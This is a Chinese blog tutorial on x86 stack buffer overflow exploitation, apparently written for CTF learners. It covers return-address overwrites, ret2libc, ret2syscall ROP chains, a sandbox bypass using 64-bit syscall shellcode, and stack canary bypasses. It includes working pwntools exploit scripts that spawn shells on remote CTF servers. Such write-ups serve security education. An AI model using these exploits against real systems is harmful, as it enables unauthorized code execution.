16 Mar 2019

栈溢出从入门到入狱

栈溢出从入门到入狱

11

  • 函数调用栈

    • 栈与系统栈
      • 栈是一种特殊的线性表,仅能在线性表的一端操作,栈顶允许操作,栈底不允许操作,先进后出。栈顶放入元素的操作称为入栈,取出元素称为出栈。

      • 系统栈

        内存中的栈,由系统自动维护,用于实现高级语言中的函数调用。

        程序的栈是从进程地址空间的高地址向低地址增长的,高地址是栈底,低地址是栈顶

    • 寄存器与栈帧

      15

      • ESP:栈指针寄存器,其内存中是一个指针,该指针永远指系统栈最上面的一个栈帧的栈顶。
      • EBP:基址指针寄存器,其内存中是一个指针,该指针永远指向系统栈最上面的要给栈帧的底部。
      • EIP:指令寄存器,其内存中是一个指针,该指针永远指向下一条等待执行的指令地址。
    • 函数调用过程
      1. 参数入栈:将参数从右向左依次压入系统栈

      2. 返回地址入栈:将当前代码区调用的下一条指令地址压入栈中,供函数返回时继续执行。

      3. 代码区跳转:处理器从当前代码区跳到被执行函数入口。

      4. 栈帧调整:

        1. 保存当前栈帧状态,以备后面恢复本栈帧使用(push %ebp)
        2. 将当前栈帧切换到新的栈帧(mov %esp, %ebp)
        3. 给新栈帧分配空间(%esp减去所需空间大小,抬高栈顶)
      5. 参数值放入内存

      6. 保存返回值(通常保存在%eax中)

      7. 降低栈顶,回收当前栈帧的空间(mov %ebp, %esp)

      8. 之前保存的ebp弹入%ebp(pop %ebp),恢复上一个栈帧

      9. 返回地址弹入%eip(ret)

        1

    • 64位和32位的区别
      • 32位函数调用使用栈传参,64位函数调用需要使用寄存器传参,当参数少于7个时,参数从左到右放入寄存器: rdi,rsi,rdx,rcx,r8,r9。当参数为7个以上时,前6个和之前一样,后面的依次从右向左放入栈中(和32位一样)
      • 64位一个储存单元占8字节
  • 栈溢出原理

    程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变

    • 前提
      1. 程序必须向栈上写入数据。
      2. 写入的数据大小没有被良好地控制。
    • 基本操作

      通过覆盖地址的方法来直接或者间接地控制程序执行流程。

      1. 寻找危险函数

        • 输入
          • gets,直接读取一行,忽略’\x00’
          • scanf
          • vscanf(将格式化数据读入可变参数列表)
        • 输出
          • sprintf(把格式化的数据写入某个字符串中)
        • 字符串
          • strcpy,字符串复制,遇到’\x00’停止
          • strcat,字符串拼接,遇到’\x00’停止
          • bcopy
      2. 确定填充长度

        计算要操作的地址与要覆盖的地址的距离

    • 覆盖函数返回地址调用函数

      • CSAPP-Buffer LabLevel0: Candle

      • CSAPP-Buffer Lab-Level1: Sparkler

      • [XMAN]level0

      • CGCTF-Stack Overflow

        6

        4

        5

        fgets处可以溢出

        存在system函数,没有/bin/sh ,需要写入/bin/sh

        第一个fget写入bss段,可以通过这个fget写入/bin/sh

        通过第二个fget覆盖返回地址,但是n = 10,缓冲区只有10字节

        8

        查看n,发现可以通过数组A越界覆盖n,控制缓冲区的大小

        在第一个fget先填充A,再修改n的值,然后写入/bin/sh

        s与返回地址的距离为0x30+0x4,填充0x34个字节,然后将返回地址修改为system,写入一个无效地址作为system的返回地址,再写入system的参数/bin/sh,此时栈状态为

        0x0804A0AC(/bin/sh)
        0xdeadbeef
        0x80483F0(system)

        返回到system是直接执行system而不是调用system

        根据调用函数的步骤,参数入栈,然后返回地址入栈,再跳转到被执行函数入口,此时已经跳转到system的入口,参数和返回地址在栈中的顺序也正确,所以可以执行system(“/bin/sh”)

        from pwn import *
        r = remote('182.254.217.142',10001)
        binsh = p32(0x0804A0AC)
        system = p32(0x80483F0)
        payload1 = 'a'*0x28+p32(0x100)+'/bin/sh'
        payload2 = 'a'*0x34+system+p32(0xdeadbeef)+binsh
        r.sendline('1')
        r.sendline(payload1)
        r.sendline(payload2)
        r.interactive()
        #flag{Naya_chyo_ma_thur_meh_lava_ma_puoru}
        
    • 覆盖栈上某个变量的值

      • CGCTF-When did you born?

        3

        没有开启PIE

        2

        v5 = 1926可以得到flag,但输入v5后有一个判断,不能直接输入1926

        v5 != 1926,进入else,在输入v4时可以利用缓冲区溢出把v5的值修改为1926

        可以看出v5和v4的距离是8个字节,gets(&v4)时输入8字节的数据和1926就可以把v5修改为1926

        from pwn import *
        r = remote("ctf.acdxvfsvd.net",1926)
        payload='a'*8 + p32(1926)
        r.recvuntil("What\'s Your Birth?\n")
        r.sendline("1234")
        r.recvuntil("What\'s Your Name?\n")
        r.sendline(payload)
        r.interactive()
              
        #flag{gets_is_dangerous_+1s}
        
    • shellcode

      修改返回地址,让其指向溢出数据中的一段指令

      CSAPP-Buffer-Lab-level2-firecracker

      XMAN]level1

    • ROP

      ROP(Return Oriented Programming) ,在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

      • 条件
        1. 程序存在溢出,并且可以控制返回地址。
        2. 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
      • ret2libc

        控制函数的执行 libc 中的函数

        通常执行system("/bin/sh")

        • GOT表和PLT表
          • .got

            Global Offset Table,全局偏移表。这是链接器在执行链接时实际上要填充的部分, 保存了所有外部符号的地址信息

          • .plt

            Procedure Linkage Table,进程链接表

            调用链接器来解析某个外部函数的地址,并填充到.got.plt中,然后跳转到该函数,直接在.got.plt中查找并跳转到对应外部函数(如果已经填充过)

          • .got.plt

            相当于.plt的GOT全局偏移表,其内容有两种情况,如果在之前查找过该符号,内容为外部函数的具体地址;如果没查找过,则内容为跳转回.plt的代码,,并执行查找.。

          9

          • 重定位
            • 链接时重定位

              链接阶段是将一个或多个中间文件(.o文件)通过链接器将它们链接成一个可执行文件

              如果是在中间文件中已经定义的函数,链接阶段可以直接重定位到函数地址

              如果是在动态库中定义的函数,链接阶段无法直接重定位到函数地址,只能生成额外的小片段代码(PLT表),然后重定位到该代码片段

            • 运行时重定位

              运行后加载动态库,把动态库中的相应函数地址填入GOT表

            • 延迟重定位

              只有动态库函数在被调用时,才会进行地址解析和重定位工作,这时候动态库函数的地址才会被写入到GOT表项中

        • libc基址泄露

          调用plt表中有的函数直接ret过去就完事了,如果没有就需要计算函数的真实地址

          通过libc基址和函数在libc中的偏移地址可以计算函数的真实地址

          • 基本操作
            • 已知libc

              找到溢出点,溢出后调用一个输出函数(常用puts/write/printf)

              func@got的地址作为参数传入,这样就会打印出该地址的内容也就是func的真实地址

              libc基址加上函数在libc中的偏移地址就是函数的真实地址

              也可以通过泄露某个函数的真实地址计算libc基址

              libc_base = func_add - func_libc

            • 未知libc

              泄露两个函数的地址,通过两个地址的差确定libc版本

            [XMAN]level3

      • ret2syscall

        控制程序执行系统调用,获取 shell。

        • 系统调用
          • Int 0x80系统调用

            系统调用号:%eax

            参数:%ebx,%ecx,%edx,%esi,%sdi,%ebp

            返回值:eax

          • execve()

            int execve(const char * filename,char * const argv[ ],char * const envp[ ]);
            
        • bamboofox-ret2syscall

          12

          13

          gets处可以溢出

          利用gadgets绕过NX,考虑调用execve()

          调用execve()需要使%eax = 0x80,还需要第一个参数%ebx指向/bin/sh的地址,第二个参数%ecx和第三个参数%edx为0。

          找gadgets

          #ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
          0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
          0x080bb196 : pop eax ; ret
          0x0807217a : pop eax ; ret 0x80e
          0x0804f704 : pop eax ; ret 3
          0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
                  
          #选择0x080bb196 : pop eax ; ret
          
          0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
          0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
          0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
          0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
          0x080be23f : pop ebx ; pop edi ; ret
          0x0806eb69 : pop ebx ; pop edx ; ret
          0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
          0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
          0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
          0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
          0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
          0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
          0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
          0x08048913 : pop ebx ; pop esi ; pop edi ; ret
          0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
          0x08049a94 : pop ebx ; pop esi ; ret
          0x080481c9 : pop ebx ; ret
          0x080d7d3c : pop ebx ; ret 0x6f9
          0x08099c87 : pop ebx ; ret 8
          0x0806eb91 : pop ecx ; pop ebx ; ret
          0x0806336b : pop edi ; pop esi ; pop ebx ; ret
          0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
          0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
          0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
          0x0805c820 : pop esi ; pop ebx ; ret
          0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
          0x0807b6ed : pop ss ; pop ebx ; ret
                  
          #选择0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
          

          找int 0x80和/bin/sh

          ROPgadget --binary rop  --string '/bin/sh' 
          Strings information
          ============================================================
          0x080be408 : /bin/sh
          ROPgadget --binary rop  --only 'int'
          Gadgets information
          ============================================================
          0x08049421 : int 0x80
          0x080938fe : int 0xbb
          0x080869b5 : int 0xf6
          0x0807b4d4 : int 0xfc
                  
          Unique gadgets found: 4
                  
          

          考虑一下栈的布局

          14

          gets执行后,ret到pop_eax_ret执行,把0xb(execve 对应的系统调用号)弹给eax,然后ret到pop_edx_ecx_ebx_ret执行,把0弹给edx,再把0弹给ecx,然后把 /bin/sh 弹给ebx,ret到int 0x80,成功执行execve("/bin/sh", 0, 0)

          from pwn import *
          p = process('./rop')
          padding = 'a' * 0x6c + 'a' * 0x4
          pop_eax_ret = 0x080bb196
          pop_edx_ecx_ebx_ret = 0x0806eb90
          int_0x80 = 0x08049421
          binsh = 0x80be408
          payload = padding + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
          p.sendline(payload)
          p.interactive()
          
        • WHCTF2017-sandbox

          沙箱通过过滤系统调用号限制某些函数的使用,而且沙箱会不断的kill新进程

          32位和64位系统调用号不同,而且32位进程可以通过修改CS寄存器使用64位系统调用

          可以通过64位系统调用绕过沙箱,读取flag

          读取需要用到的系统调用
          #define __NR_open               2
          __SYSCALL(__NR_open, sys_open)
          打开flag文件
          #define __NR_read               0
          __SYSCALL(__NR_read, sys_read)
          读取flag
          #define __NR_write              1
          __SYSCALL(__NR_write, sys_write)
          将内容写到终端
          #define __NR_exit               60
          __SYSCALL(__NR_exit, sys_exit)
                  
          open 返回值为文件描述符,第一个参数为文件名,pop_rdi把'flag'传入,第二个参数为flags
          #define O_RDONLY             00
          #define O_WRONLY             01
          #define O_RDWR               02
          只需要读flag,所以rsi为0
          read 返回值为已读的字节数,第一个参数为文件描述符,第二个参数为数据缓冲区,第三个参数为字节数,执行后将flag读入0x0804a200
          write 返回值为已写的字节数,第一个参数为文件描述符,第二个参数为数据缓冲区,第三个参数为字节数。文件描述符设为1(标准输出),可以打印出0x0804a200的内容,也就是flag
                  
          
          from pwn import *
          context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
          #r = process(['./vuln'])
          r = process(['./sandbox','./vuln'])
          elf = ELF('./vuln')
                  
          main = 0x0804865B
          puts_plt = elf.plt['puts']
          puts_got = elf.got['puts']
          read_plt = elf.plt['read']
                  
          log.info('leak libc')
          padding = 'a' * 0x30 + p8(0x48)
          payload = padding + p32(puts_plt) + p32(main) + p32(puts_got)
          r.sendline(payload)
          r.recvline()
          puts_addr = u32(r.recv(4))
          mprotect = puts_addr + 0x8bb10
          system = puts_addr - 0x2a540
                  
          '''
          log.info('get shell')
          payload = padding + p32(read_plt) + p32(main) + p32(0) + p32(0x0804a02c)
          r.sendline(payload)
          r.sendline('/bin/sh')
          payload = padding + p32(system) + p32(main) + p32(0x0804a02c)
          r.sendline(payload)
          r.interactive()
          '''
          log.info('mprotect')
          #0x08048729 : pop esi ; pop edi ; pop ebp ; ret
          ppp_ret = 0x08048729
          shellcode_addr = 0x0804a000
          payload = padding + p32(mprotect) + p32(ppp_ret) + p32(0x0804a000) + p32(0x1000)+p32(7)
          payload += p32(read_plt) + p32(shellcode_addr) + p32(0) + p32(shellcode_addr) + p32(0x100)
          r.sendline(payload)
                  
          '''
          log.info('get shell')
          r.sendline(asm(shellcraft.sh())) 
          r.interactive()
          '''
                  
          log.info('read flag')
          shellcode32 = 'jmp 0x33:0x0804a007'
          #len(shellcode32) == 7
          shell32 = asm(shellcode32)
          #open read write exit
          shellcode64 = '''
          BITS 64
          call cxk
          db 'flag', 0
          cxk:
          pop rdi
          xor rsi, rsi
          mov rax, 2
          syscall
          mov rdi, rax
          mov rax, 0
          mov rsi, 0x0804a200
          mov rdx, 0x10
          syscall
          mov rdx, rax
          mov rdi, 1
          mov rsi, 0x0804a200
          mov rax, 1
          syscall
          mov rdi, 0
          mov rax, 60
          syscall
          '''
                  
          f = open('shell64.asm', 'wb')
          f.write(shellcode64)
          f.close()
          os.popen('nasm -o shell64 shell64.asm')
                  
          f = open('shell64', 'rb')
          shell64 = f.read()
          f.close()
                  
          shellcode = shell32 + shell64
          r.sendline(shellcode)
          r.interactive()
          
  • Canary

    • 原理

      在栈溢出的高位区域尾部插入一个值,若通过栈溢出覆盖返回地址必先覆盖Canary,当函数返回时检测canary的值是否发生改变,以此判断栈溢出是否发生

      17

      #include <stdio.h>
          
      int main()
      {
      	char s[10];
      	gets(&s);
          return 0;
      }
      

      关闭Canary

      gcc -o test -fno-stack-protector test.c
      
      000000000000063a <main>:
       63a:	55                   	push   %rbp
       63b:	48 89 e5             	mov    %rsp,%rbp
       63e:	48 83 ec 10          	sub    $0x10,%rsp
       642:	48 8d 45 f6          	lea    -0xa(%rbp),%rax
       646:	48 89 c7             	mov    %rax,%rdi
       649:	b8 00 00 00 00       	mov    $0x0,%eax
       64e:	e8 bd fe ff ff       	callq  510 <gets@plt>
       653:	b8 00 00 00 00       	mov    $0x0,%eax
       658:	c9                   	leaveq 
       659:	c3                   	retq   
       65a:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)
      

      开启Canary

      gcc -o test -fstack-protector test.c
      
      00000000000006aa <main>:
       6aa:	55                   	push   %rbp
       6ab:	48 89 e5             	mov    %rsp,%rbp
       6ae:	48 83 ec 20          	sub    $0x20,%rsp
       6b2:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
       6b9:	00 00 
       6bb:	48 89 45 f8          	mov    %rax,c
       6bf:	31 c0                	xor    %eax,%eax
       6c1:	48 8d 45 ee          	lea    -0x12(%rbp),%rax
       6c5:	48 89 c7             	mov    %rax,%rdi
       6c8:	b8 00 00 00 00       	mov    $0x0,%eax
       6cd:	e8 ae fe ff ff       	callq  580 <gets@plt>
       6d2:	b8 00 00 00 00       	mov    $0x0,%eax
       6d7:	48 8b 55 f8          	mov    -0x8(%rbp),%rdx
       6db:	64 48 33 14 25 28 00 	xor    %fs:0x28,%rdx
       6e2:	00 00 
       6e4:	74 05                	je     6eb <main+0x41>
       6e6:	e8 85 fe ff ff       	callq  570 <__stack_chk_fail@plt>
       6eb:	c9                   	leaveq 
       6ec:	c3                   	retq   
       6ed:	0f 1f 00             	nopl   (%rax)
      

      开启Canary后,函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中-0x8(%rbp)的位置

      在函数返回前,将栈中的值取出,与 fs:0x28 的值异或,若为0则正常返回,否则 跳转到__stack_chk_fail@plt

    • 绕过策略
      • 泄露Canary

        Canary以\x00结尾,若存在合适的输出函数,覆盖Canary最后一个\x00,就可以输出Canary,把这个Canary填到对应的位置就可以绕过

      • 劫持__stack_chk_fail 函数

        改GOT表,检测到Canary改变后call __stack_chk_fail@plt,就会跳转到更改后的地址

      • 覆盖TLS

        函数返回时栈上的Canary和TLS中的值比较,同时覆盖栈上的Canary和TLS中的Canary可以实现绕过


Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).